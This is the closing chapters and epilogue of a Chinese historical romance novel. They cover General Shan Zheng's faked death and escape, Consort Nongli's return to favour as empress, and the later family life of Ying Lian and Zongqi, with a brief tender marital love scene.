单铮心下闷怪，“什么安好？快与我回去，我找了你……” 他话到此茫然，仿佛觉着黄泉碧罗寻了他多时，总寻不着；却又仿佛记着昨日才见，一时昏蒙，不知何所思。 赵芳庭瞧着他，笑过了，是感喟的神情，仿佛放下了一桩难解的心事，眼中透露了几分再难得的孺慕温和。 “哥哥，咱们在那世上，是一对异姓的兄弟。我本想着与你同去同来，未料先行一步。”他慢慢道，“果真世事难测，那妇人我一贯瞧不入眼，以为污了你品性，想要替你剜去。不意我毁在妇人手上，你却因她而活，如此一想，也不怎么为憾。” 单铮皱着眉，只觉空空落落，攥着他肩臂，“你胡七八糟说些什么？快随我回去……” 分明捉着他人，周遭一渺茫，他却虚虚悠悠，又远了些，仍朝自己微笑，似是作别模样。 “我不能再随哥哥了，我等哥哥许久，如今该是走的时候了。” “哥哥，山长水远，阴阳泉分，你往后多保重。” 那瘦长斯文的身影倏然空淡，逐渐失却。单铮徒劳追去，四处地寻，上天入地，再不见他。 他心中大恸，仿佛身死过一遭，猛地一悸，便骤醒过来。 脑子里还晕着，但见四面昏暗，壁上角落吊着灯烛，晃晃地刺眼。有个人正在身畔，上下左右地拿湿帕子为他擦脸。 此处格外幽冷狭小，不知是什么地方。他尚未开口，那妇人见他醒了，激灵灵一怔，丢了帕子，扑在他身上便哭起来。那一滴两滴的泪砸在他头颈上，教他缓缓地回了魂，想起了自己是谁。 “……折柳？”单铮出口，才觉后头艰涩。 折柳呜呜哭了一会，抹一抹泪，费力地将他扶坐起来。他才觉浑身散软，肚里空响，饿了多时一般，再一观左右，猛吃了一惊。 这哪里是什么卧室，分明是一间昏沉的石室，而自己所躺也不是熟悉的床榻，内里窄小，施展不开，竟是一具棺木！ 他才要开口，折柳抢在前头，尽为他答了：“你喝的压根不是鸩酒，是蒙汗药。他做帝王的自个儿心虚，停棺一日夜便草草葬了。我便入得墓来，咱们一道走，往后‘单铮’便是个死人，你与我远离洛京，做一对布衣夫妇，你肯不肯？” 单铮怔愣良久，想通了前后，“我有甚不肯的，只是你受委屈，再过不得富贵的日子。” “暗格里金子，我取出来了。”折柳通红的眼眨了眨。 她又喂他喝些水，揉碎了干饼，教他用些。单铮正饿着，也不觉寡淡，风卷残云般囫囵吞了。 “慢些吃，你躺了小两日呢。”折柳道。 他一边嚼，脑子里却尽是生死的一回事，起先有些乱糟糟的，而后渐渐豁朗，又总觉着滑稽可笑，于是便当真笑了出来。这一笑便止不住，坐在棺木里，搂过折柳，将她胡乱大力地向怀里按，胸腔也笑得震动起来。 折柳先有些莫名，挣了两挣没脱开，便也随他去，片刻却也笑了起来，一颗心终落了地。 “那姓郭的满以为你死了，恐怕正做他江山永固的春秋大梦呢！”她又是侥幸又是自得。 单铮亲了亲她微有些细汗的额发，却摇了摇头，“恐怕不好瞒过去，又或他早已晓得，单放我一马罢了。” 无论如何，先出去为妙。 二人相携着起身，随取了壁上一盏明灯，照映着出了不算太长的甬道。这墓室临时建成，事过仓促，也不见什么壁画石门，粗陋得很。折柳沿着入内的来路，带他往外去。单铮忽想起来，“小山呢？那日他说去打猎，他可晓得此事？” “打什么猎，不过寻一借口离家罢了。”折柳道。 话音落了，便近墓穴土道的终点。尽头黑漆一片，无光无火，却冷不防钻进个人来，单铮汗毛孔乍张，才要抄前挡住折柳，忽听那一声音神采奕奕，带着少年特有的粗噶嗓音道：“义父，是我！” 跟着义父义母来京，初时尚是个孩童，如今陶岳已一十五岁，身量张开，堪堪与折柳齐平，肩臂宽长起来，脸孔也有了少年人的清湛。他手拿一把铁锹，锹尖还沾着新鲜的土，向二人道：“马匹车辆已在外备着了，咱们趁夜便走！” 他扭过头又要出去。折柳一把扯住，问：“宫里头可有了信？” “有，”陶岳从怀中取出一张薄薄的纸，“我按义母的话，穿红袍、佩玉锦鸡，申时末打御道北街过，逢见小黄门，与他道平安，他便给了我这个。” 折柳殷殷切切展开来瞧，上头寥寥一行：【一切如故，平安，无期。】 宫中一切如常，你我计策并未泄露。我如今平安，你离洛京，从今相别，再会无期。 她长舒一口气，将秾李的手书贴怀安放，仿佛那是一张保命安身的神符。 单铮便问：“这一场谋划，是李淑妃所为？若瞒不过天子，岂不拖累了她！” 折柳却教他宽心，“她自有保全的法子，不可为外人道。你早已失势，便是从前，也帮衬不了她半分，不如早去。” 墓室坐落京畿城外，本安置了守陵的人，今夜尽被陶岳打发离开。他早已捡了要紧的细软家当安置，趁着疏星淡月，同单铮折柳二人，驾了车马，遥遥而去。 马无嘶声，车卸铜铃，一行三人走得阒寂。来时怎样浓墨重彩，去时便如何冷落寂寥。而单铮的心绪再一次起伏，不禁掀帘前望，陶岳劲瘦的背影旁，是向前漫漫幽幽的长夜，道途杳渺，仿佛无尽。 他忽有几分回想起那一场魂梦，隐约只记梦见了十八，却究竟说了哪些，已然漫漶不清，唯余见他远去时，那一股袭涌来的哀恸滋味。 他若有所悟。 往常他一贯想，若哪一日身死，宁德军一场烈火，便算终了；到如今才真彻地了悟，实则早在五年前入京，宫 城侵破的那一刹，宁德军已然走上末路。从此“宁德”二字，成了记刻岁月的年号。 岁月会过去，年号会更改。是他该离开的时候了。 单铮从空茫的黑夜中回过神，见身边的折柳却正侧身掀帘回望，眸中落落辉光，耀映着遥远洛京城中华彩。那不知是谁家高门朱户，笙歌夜饮绽放了旖旎的光。 她望着宫城的方向，久久地出神。单铮握了握她的手，微凉，柔软，像她常被人鄙薄市侩的心性。 “你若当真放不下她，不若……”他低低地安慰，本想说自己想一想法子，能否帮得秾李一二。 折柳却仿佛受了一惊，摇头阻道：“生死事岂是儿戏。你如今再不能见旧人，否则平白连累了他们。她……无妨，不会有差池。” 单铮不解她为何如此笃定，借着晦淡的星月光辉去瞧她，却见她别过了头，仿佛继续遥望宫城方向。 他不再发问，渐渐不在意。折柳才略略缓下了绷紧的身子，无声息地松了一口气。 那是秾李的筹码，是保全她的东西，也是将令天子忌惮一生的秘密。 ——那半截玉笛、赵芳庭身死的真相。 她会将这秘密烂在肚中，为秾李，也为单铮。 宁德五年，忠武将军单铮因疾殁，时值盛暑，灵柩难停，仓促二日便落葬于京畿北山。 无论合不合规制、有多可疑，总之人已故去，绝难转圜。妻儿并无怨怼，离京回乡；单铮的死成了一个隐晦的、禁忌的事实。 郭显说不出这结局于他，是好是坏；甚至于自己，他也一时难以判断。 他将李胜儿贬出了宫闱，怀揣着盛怒，面上却不显，寻了个错处，将李淑妃重贬回御侍，发在从前康成太后卞氏所居的西宫。 宫中人噤声不言，谁也不知李御侍究竟如何触怒了帝王。但章氏太后、皇后及嫔妃们皆来求情，又带来了厚儿，言道不看夫妻情面，也顾及父子情分，莫要将事做得太绝。 但归根究底，为李御侍保下一命的，不是皇后皇太后，也不是厚儿，是她自己。 “我若身死，那玉笛的真相便再守不住。以单铮与他视若手足的兄弟赵芳庭的情谊，您以为，他还会善罢甘休？”五年的时光，足够秾李看清一个人。她晓得郭显的命脉所在，晓得他哽喉的那根刺是什么，“又或，您兴许想瞧一瞧，时隔五年，他是否还有一呼百应的能耐？您要以您江山的稳固，来撄他锋芒么？” 郭显被刺中心事，恼怒之中生了狠戾，恨不得便就亲手杀了眼前此女。他掐着她柔软的脖颈，只需稍稍一用力，便能将她生气断绝。 偌大冷落的西宫，寥寥几个宫人，早已脸无人色，吓得躲避在了外。而已任他摆布的秾李，纵使咽喉被扼而说不出话，连脸也涨得通红，眸子里却仍有一种不可动摇的东西。 讥诮、平静。 郭显扔开了她。 秾李伏在他脚下，咳嗽不止，连泪都咳了出来，嘴角却扬起了一个几不可察的笑。 她赌赢了。多年来筹划，在这一刻，终得到了圆满。 岁月淡得如水，平静得也如水流。 她在西宫独守了七年。 宁德的年号，自单铮去后一年，便改换了，如今是天授六年。 前尘的人与事仿若一梦。她在梦中曾如胡姬旋裙翻飞，血色酒污，轻浮欢笑年复年。而后飘飘摇摇的风，便吹着她似杨花，落入这片幽深宫墙。她再未听到折柳或旁人只言片语的消息，也再未见过天颜。 她再未与她的厚儿相见。 但宫人们琐碎的言语，仍旧零零星星传到她耳中，一路谲诡地偏差到了某个方向。 天授二年，秦德妃所诞皇儿二岁夭亡。 天授三年，皇后诞下了嫡子，普天同庆。 天授四年，厚儿有了正名，乃天子所拟，为“煌”。 天授五年，中宫嫡子夭亡。 天授六年元春，皇后因丧子哀恸，又久病难愈，薨于仁明殿，举国哀。 西宫里，逐渐有了些人气。 说“人气”，并非大张旗鼓地来拜她这位受冷落的御侍，一切犹如春风化雨，一点一点渗入寂寥已久的冷宫。 起先是用度。早春的炭火燃得更旺；炉香里重又有了龙脑、沉香的味性不再浓烈；有损痕的绣墩被不着痕迹地换了新…… 而后是侍奉的宫人，早晚更殷勤了些，欢笑也多了些。又有一日，秾李瞧见她们褪下了冬衣，隐约露出腕上金镶玉的新钏镯。 再又有耳目灵通的消息。宫人们为哄她欢心，会主动凑上前，在她耳边轻声说几句皇长子郭煌的近况。他聪慧秉钧啦、六艺精熟啦、仁贤果决啦…… 她自然也晓得了朝堂上，自这一年始，便拉扯开的立储争议。争议的核心并不在于立哪位皇子为储君，而是要不要立郭煌为储。 ——虽说天子春秋鼎盛，久不立储却总使人心不安。后宫子嗣零落，虽新近入宫的几位妃嫔中，已有人有孕，可既未知男女，又非嫡出，为何臣子们要弃年已十二、聪慧仁善的大皇子不顾，而去等候一个不知是否又会早夭的皇儿？ 秾李将这一切都瞧在眼里。她缄口不言，却也在等待。 终于一日，等来了他。 郭显于深秋的一个午日，踏足了西宫。此时黄叶新落，他脚步踏于落叶枯枝之上的声音，像极了命运的转机造访秾李时，发出的细微、颤动而又令人心悸的轻响。 秾李得了信，早早已迎候在廊庑，远远在淡金的日光下望见他，微微有些讶异。 宫人们跪了一地，她却盯着他，将心中的话道出来：“您鬓边生华发了。” 诚然，郭显如今未满四十，可鬓边已有了霜白，久于帝位之上，渐渐地已不见了从前那一份舒适的从容。他变得更内敛、更有城府，也更冷漠。 郭显并未在意她的冒犯，只是瞧了她一眼，“你却未变分毫。” 秾李笑了笑，仍是青春正好，七年来西宫寂静的生活将她愈发打磨得如一颗内蕴温润的珍珠，淡然丰美。 仇怨似烈火，当初烧灼得他焦躁愤怒，恨不得打碎眼前一切；如今烈焰熄灭，连那点余温也逐渐冷却。他对着秾李，再难生从前的怨怒，反倒勾起了些陈年旧事的忆念。 二人也不再剑拔弩张，秾李亲斟了盏茶，递与他手边，“妾处无上等的茶汤，官家将就着用一些吧。” 郭显呷了一口。那茶微苦，回舌却甘香，不是最上乘，却也是今岁上的新茶。 他唇舌里回荡着茶香滋味，想寥寥问一句她近来如何，却不知从何而问。再一想来，实则他对她知之甚少，当初带她入宫，比起兴之所至，更像是一个意外。 他们之间有一时的沉默。 还是秾李先开口：“厚儿……可还好？” 这便才有话可聊。郭显道一切安稳，又依着她话头，不咸不淡地说了几句。 秾李晓得，他这一回来，本就不为着要说什么，不过是显个苗头，以示宽慈。 果然，他在西宫坐了一刻，再离开时，她这小小的冷宫，已然变换了风云。 嫔妃们得知了此信，便今日明日地络绎来走动。她们娇靥如花，眸中神情各不相同，但大体都有些嫉羡。 连章氏太后没几日也送来了些新秋的瓜果，俱是才贡入宫中的物件；又使女官妥妥帖帖问了饮食需用，方才笑盈盈地回了去。 秋后，连月拖到岁暮，秾李被请出西宫，复为淑妃。 又三月，天授七年开春之时，经由元羲等臣子谏言上疏，立李淑妃为后，禀凤印，入主中宫。 中宫所出，自然为嫡子。既嫡又长，其年五月，郭煌被立为储君太子，天下称庆，国泰民安，又议改元，来年为宝凤元年。 中宫续定，宫外被黜落的内侍李胜儿，复又回到宫中，随侍太子身旁；虽已不复为入内内侍省都都知，太子郭煌却时常呼为翁，宫人便皆称呼为“李翁翁”，荣宠更甚以往。 太平昭盛的年岁，人们很容易忘记过往。 一代人尚且记着从前荒芜疲敝，道无行人、屋舍破败、盗匪四起，也记着揭竿举事的群豪、不世出的英雄、翻天覆地的洪流； 二代之后，这些汹汹烈烈的往事由着人口口相传，黄口小儿尚且听说村口某某阿翁，拄着拐，成日里自夸：“我从前入过宁德军！随过单将军征战西戎！” 三代后，旧事成了半传奇的故事，在好无病呻吟的文人话本子里，在年节时愈发热闹的勾栏瓦肆里，在渐渐老去又喋喋不休的阿翁的颠三倒四里。 他们最终被逐渐淡忘。岁月走了几轮，年号换了一茬又一茬，连国号也一并更改，新的风云再次搅荡，步入往事轮回的覆辙，再无人记得“宁德”，再无人记得宁德军。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第150章 第150章终章雏凤清…… 天授七年。 河东路代州一向不显山不露水，各方政绩平平，赋税也不丰饶；只是一点，土人比较悍勇，尚武，街头巷尾时常滋生事端。 因此这一趟来，义父叮嘱他少惹麻烦，“你这么个惹事的祖宗，旁人点火，你不添柴就谢天谢地！” 陶岳也就老老实实应了，出发后，该干嘛干嘛。 游山玩水，惹是生非。 ……他管之叫行侠仗义。 代州有个宁德客店，在州城东门附近，不是什么稀罕的名儿，前些年江淮南北，“宁德”字样的行市店铺如雨后春笋，密密集集地遍地开花。 不过这一客店不同。代州内外，随意寻人打听，土人皆能说道一二，言之凿凿，道那店掌柜便就是曾在宁德军里做过将军的代州人，甚是为当地增光添色。 是这处了。 陶岳寻了大半日，晌午渐歇，日落黄昏之时，寻到了这间宁德客店。 他千里迢遥，风尘仆仆，却并不在意鞋履下霜泥，束的发在帻里，落拓散下一两绺，迈步进门时如锻铁流星，铮铮然又飒练得教人注目；两只寒星般雪亮的眸子四面一扫，目光落定在柜内一个正埋头执笔的女子身上。 柜半人长，掩去了腰下身量，但陶岳一眼扫量便瞧出，那女子虽布裙素褙，难得是一段绰约丰润。未下的几缕金阳中，更衬得颊颈间雪肌腻理。她垂首不见云容，头上同心髻乌黑浓密，插一支简简致致金梳钗，便已胜过许多环佩珠翠。 陶岳一时走得急了，觉着自己的心怦怦直跳，猜想这定是萍儿，才要上前，忽却又狐疑，她这副模样，也瞧不出是否嫁人了，若未嫁还好，若是已嫁了…… 脚步一顿，柜后那女子便听得动静，抬起了头来。 先是云鬓玉颜，春夏间开到最绚烂的荼蘼一般，素淡已极，反生清艳；而后是那一双楚楚如秋水横波的眸子，若含了清晨山岚间滴翠的朝雾，动人心涧。 陶岳见过许多美人，娇艳的、明灿的、淑静的，但觉都不如眼前此女，心思摇动，向来混不吝的那张嘴却先于脑子开口：“偌大客店，怎的只小娘子一人？大人留你在此算账，全无欢笑，可不委屈么？” 那女子不见惊慌羞窘，却上下将他打量了一番，先是蹙眉，怔了一怔后，眸中隐约见了几分笑意，愈发地风韵浑然，“委屈怎的？” 声音清、糯，又有一丝少年娘子及不上的浅润柔和，教陶岳听得有些发愣，先觉着这把嗓音好听得紧，再一琢磨，彷佛不是萍儿这个岁数…… “若委屈，现下正好有个人作陪，打发无聊，如何？”脑子里想不清楚是一码事，嘴上一定是要逞一快的。 对方浅浅的笑意中有了些不赞同的审视，说话仍是轻柔，“你来陪我，你义父义母可乐意？” 这一副全然长辈似的口吻，使得陶岳一呆，脑海中莫名的熟悉感终于涌上心头，才暗觉不妙，忽脑后恶风不善，呼将过来。他身比心更快，下意识侧身一躲，反身向后，抬脚便横扫了过去。 脚至半路，蓦地瞪大眼，生生拗了回去，旋身抵消力势，扶了扶身后堂桌，才稳住身形，张口结舌：“你……” “你什么你！”眼前剑鞘一击落空、又连一击的少年郎君怒目竖眉，“哪来的登徒子，不长眼的夯货！你敢在我家地界放你那尿泡！” 陶岳躲闪招架，着慌着忙地瞥一眼柜后女子，又瞪着眼前显然是男扮女装的人，“我不是……你是……萍儿！” “萍儿！”后头声音与他同时响起，含了几分告诫。 对方这才停下来，抵触、鄙夷、恼怒。 陶岳心有余悸，揉了揉方才不慎被遭了一记的手臂，那剑鞘力道一点不收，敲得他膀子都发木。他在她跟前涨红了脸，全然不见了方才调笑人家女娘时的浪荡气，开口莫名地委屈，“你不认得我了？才见面就要打我！” 萍儿抱着从始至终未出鞘的剑，秀丽的面上没半点好奇，“你不该打？” 陶岳无话可说。 解围的还是那女子——如今陶岳清楚得很，什么嫁不嫁的，她早是生儿育女的妇人了。 于是他收起了一贯轻佻放荡的习气，老实巴交地到她跟前，耷拉着脑袋，瓮声瓮气：“婶娘，小山错了。小山以小犯大，请婶娘责罚。” 眼前这妇人是单铮结义兄弟的内眷。陶岳暗骂自己瞎了眼，怪道方才有几分眼熟，这位应氏婶娘是从前一向与他家交好的，自己儿时开蒙的学问还是她所授。只怪自己鬼迷心窍，兼着好些年不见，一时间竟没认出来。 应怜如今再不是人事不通、世情不熟的少年人。她与宗契成亲十一载，膝下早已有了一双儿女。 这些年来，她去过洛京二三回，但大半时日，总是与宗契在代州度过。与单铮夫妇之间，只有书信相通，并不曾见面，听闻他们曾回过一段时间的西凉府，后又辗转迁了居地，向更西去了。 “萍儿，来。”想着旧人失散，她总有几分唏嘘，瞧陶岳如今长成模样，便更感慨时光如隙，“你可还记得他？他是你小山哥哥。” 萍儿立在陶岳身旁，比他低一个头去。两人在一起，仿佛一对兄弟般。陶岳臊眉耷眼，低声与她辩解，“不怪我，我才将婶娘错认成了你……” “认成了我，便能调戏了？”萍儿横眉冷对。 陶岳又说错了话，索性破罐子破摔，抵死耍赖，“这怎么能叫调戏？你我好歹算是青梅竹马，久别重逢，还不许说两句体己话……” 应怜不忍耳闻，转身离了那二人，自去唤人张罗晚食，半晌才觉唇边已噙了笑意。 儿女们的事，不出格便不去管。她记着写一封信与折柳报平安就好。 又过了一刻，听前头吵吵嚷嚷，是宗契携着平奴与安奴归家来了。 春日的午后正好，兄妹二人便缠着爹爹去城外放马，又带去了一个家人，到此时才回，想是见着陶岳，好一番问询。 平奴七岁，安奴三岁。应怜想着今日见陶岳，与小时大不相同，撇开那略轻浮的习性，当真是少年风发、英姿勃勃，便就想到了儿女往后长成，也不知要出落得什么模样。 又不知今后是否再要添几个儿女。这事谁也说不准…… 正胡想时，听得熟悉的沉厚步伐，以及宗契渐近的声音：“惜奴——” 她才出穿堂，迎面便教平奴安奴抱住了一双腿，叽叽喳喳在耳边唤阿娘。 宗契如今已三十有年，行事愈发沉稳深厚，一双眼目炯炯，目光寻至应怜时，骤然柔和下来。 “见过小山了？”应怜笑问，将安奴抱起来。 安奴尚小，搂着阿娘的脖子不松，头顶上柔软的丫髻划过她脸颊，蹭的应怜颊边发痒，心底也柔软了一片。 平奴眼巴巴瞧着。宗契哈哈一笑，将他拦腰举起，骑在肩颈上。 两人就这么抱着儿女，慢悠悠到前头用晚食。廊下的光渐暗，晚风微微生起，吹拂儿女稚嫩的欢笑，与夫妇平和温柔的絮谈。话声飘飘悠悠，消散在一方院墙内，混入了市井万家的炊烟之中。 陶岳这一回来代州，半是闲游，半为着来见一见萍儿，因此小住了些时日。 宗契又有琐事在身，不得时时陪着，应怜便时常携萍儿及儿女，带陶岳四处逛看一番。 这日大小几个去了五台山，向慧理住持问一问好。宗契一处田庄上有事，不随同去，到挨近城闭才得回来，迈进家门时，天已黑了。 阖家人早已用过了晚食。应怜如往常，厨上为留了饭菜。他简单用些，回内院路上，又绕去东西院、厢房各瞧了瞧。 东院住着萍儿，西院住平奴与安奴，厢房里是陶岳。 四处皆静，各自睡下了。 宗契便回了最北的内院。 小楼之上，内室静谧，唯有一盏灯火温吞。他进门时，风带起光火，摇曳了一刹。床上闭目难寐的人便察觉，轻轻小小地唤了一声：“宗契？” “是我。”他关了门，将外衫褪去，漱洗擦拭。 应怜床榻里坐起身来。 轻绡的被里暖意一片，衾枕丝帐浸透了她常年所用淡香。宗契入得帐里，崔巍的身形在她眼前投下阴影，抚了抚她的头发面颊，而后在她身畔外侧躺下，仰面定睛瞧她。 “怎么还不睡？”他低沉的声音舒适而悦意。 她微微垂首，秀致的脖颈弧度纤长静雅。散发乌云，被她拨在一边，映着玉白的颈项，形成极致的反差对比，撩拨人的情致。 但她面上似有郁郁，抿唇不语，只是一双黑眸里透出千万无绪的话语来。 相守十几载，宗契早已与她心意契合，微微翻一个身，将头枕在了她腿上，就这么半歪不歪地自下而上望入她眼眸，挑挑眉，也不催促，等她回答。 果然，应怜斟酌着开口，“今日去山途中，小山胡闹，与萍儿抢那马匹。一时争得急了，他却攀了萍儿的马翻上，好一番不睦。” 宗契以为她烦心后生的事，一面伸手轻抚她背脊，一面安慰，“小山张扬惯了，我瞧着对萍儿又似有意，他少年人不知轻重，只想着惹她眼目。明日我私下寻他说一说也就是了。” 应怜张了张嘴，眸中一刹竟有了些孤弱，那神情教宗契吃了一惊。 “不为这个。”她喉中如哽，定了定心神方道，“他攀马的阵势，我问他可有学传。他说，这叫‘李广夺胡’。” 宗契脸上宽慰的笑渐渐消了。 “我又问他师从何人。他起先支吾，半晌方肯吐露，道那是几年前背着义父母窜去西凉府，与鬼面将军所学。” 宗契呼吸一瞬微凝，“你是怀疑……” 前尘本该已了。她有了丈夫、有了儿女，有了新的生活，这么些年，已渐渐将往事淡却。不意有朝一日，旧时的一滴水珠，却穿透了时光所隔窗纱，冰凉冷冽地浸在了她心上。 那怎么样也不该是这一人、这一事。 宗契将往昔与鬼面人所打的交道一点一点挖掘出来，越是深想，越是疑虑不定。 他所能想到的，应怜一整日早已想到了。她心乱如麻，不敢往那一处想，心底有一处却叫嚣起了希望。 可那希望既渺小、又荒诞，还处处透着痛苦，接连不断地刺痛她。 那人常年覆鬼面，有人看过面具下的脸，扭曲、狰狞，烧得斑斑驳驳。他的双手也是如此，教人瞧一眼都心惊肉跳。 他总不爱说话，只因喉部也有伤，嘶哑刺耳。像她与旁人私底下也议论过，难道是一把火将咽喉也熏坏了？ 不，不，不至于此。他恐怕是吞了什么，为的教人辨不出本来声线。 应怜不敢想他遭了什么苦。但那时既是不相干，世上受罪的人何止他一个，她也就不去想了。 可那若不是不相干的人…… 她的心彷如被一只冷冰冰的手掌攥捏，挤得破碎，盼他是，又盼他不是。 “若真是他、若真是他……”她数度说不下去，渐渐地哽咽，将白日压抑的恐惧揪心在他跟前一齐释放，“宗契，我怕……我想他，我想哥哥……” 她脊背在抖，虽没有放声地哭，眼底惶惑里却浮上了一层泪意。 宗契将她拉下身，伏在自己肩头，侧身将她拥在了怀里，把她蜷曲的身子打开，教她攀绞在自己身上。 他能感觉她浑身都在颤抖，便一遍一遍地抚摸她，从脑后到肩头、到背脊。闷在他怀里的人发出了近似呜咽的细声，渐渐地将他肩上一片衣衫浸湿。 待怀中人终于和缓下来，他这才低低开口：“未必是他，不过……” 他亲了亲应怜的脸，将她脸上的泪吻了，又轻轻拭干，近在咫尺地与她相对，望进那一双湿润的眸瞳，“你可想出游一趟？” 应怜还难受着，闻言一愣，“去哪？” “边关，塞上。”他道，“你不是常念什么角鼓、长河、戍寒之类的诗么，难道不想亲眼去见一见？” 她睫上还盈着泪，却停了抽泣，眨着眼，怔怔地瞧着他，渐渐开悟了，惊奇起来，转而又皱眉，“那平奴安奴怎么办？” 宗契眼有笑意，却故作为难想了半晌，无奈开口：“只能带着去了，慢是慢些，带在身边稳妥。你瞧，萍儿如今大了，她的事由得她自个儿做主，咱们将客店托于她，带几个家人，备齐物什，一年半载地便回……” 他在耳边一点一点地说着，应怜的心思便随着他的话飘飞，愈发地往深里去，不觉那泪便止了，心中一点说不出的痛楚也渐渐消散了。 “咱们顺道过了西凉府，顺道去望一望鬼面将军，安奴还小，路途上总要歇一歇的。”他轻轻松松地张望以后。 应怜眼睫微颤，被他的话吸引，“教他……教他瞧瞧儿女？” 她逐渐笑了起来，不是那种含忧勉强的笑，而是发自内心的、心念得以圆满的欣喜。 宗契专注地瞧那一张已见过无数回、仍使人魂牵梦绕的脸，眼眸中有愈发深沉的爱意与怜惜，为她的欣喜而真切欢愉。 “没甚好担忧的。”他亲吻她嫣红的唇，将它染得饱满水润，起先浅尝辄止，而后渐渐止不住，与她交缠深入，唇齿间吐露含含糊糊的话语，“去瞧瞧就是了，是与不是，莫要猜疑。” 应怜低喘着“嗯”了一声，心中渐渐驱散了最后一点疑虑，对他的爱意渐渐又化作了感激。 她承受宗契深深浅浅地吻，已风韵成熟的身子经一挑弄，便极是动情，交臂在他肩背，指尖划向他勃发坚硬的肌肉间，早已不是旧年羞涩，在他唇舌下犹如绽放到靡艳极致的棠花，玉露丰润，妩媚横陈。 夫妇敦伦，是人间常事。爱欲相缠，风月自生。 隐约间帷帐摇动渐歇，云雨止遏，应怜又叫了一声。 “你怎么又……” 半晌他赤身下榻，搓来手巾，又入帐中。 里头她模糊慵懒的声音，带着点困惑，“你不愿再有儿女么？” “有平奴安奴就够了。”他替她擦拭净，虽克制，却也餍足，“妇人妊娠太受苦，我不愿再见你那般。” 帐中又是一番相缠亲吻。 应怜气喘吁吁打笑的话传来：“那你就该与我分房睡，多少人都是这么来的。” 宗契唯恐她真如此，“我……我不弄就是了，你怕冷，好也有我暖暖身子。” 里头莺莺笑声渐连成一片，忽又被惊喘逗断，断续的话音随着亲吻急促而讨饶起来： “好宗契、宗契……不分了再不分了……你别……” 春宵帐暖，烛火微长，又被一人吹灭，待来日再点起，便又是另一个朝夕。 朝朝夕夕，年年岁岁，一缘生起，万缘来赴，都化作他们之间恩泽深长，爱意绵延，直到终篇结束，直到人生终止。 再不辞不分—— 全书完。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&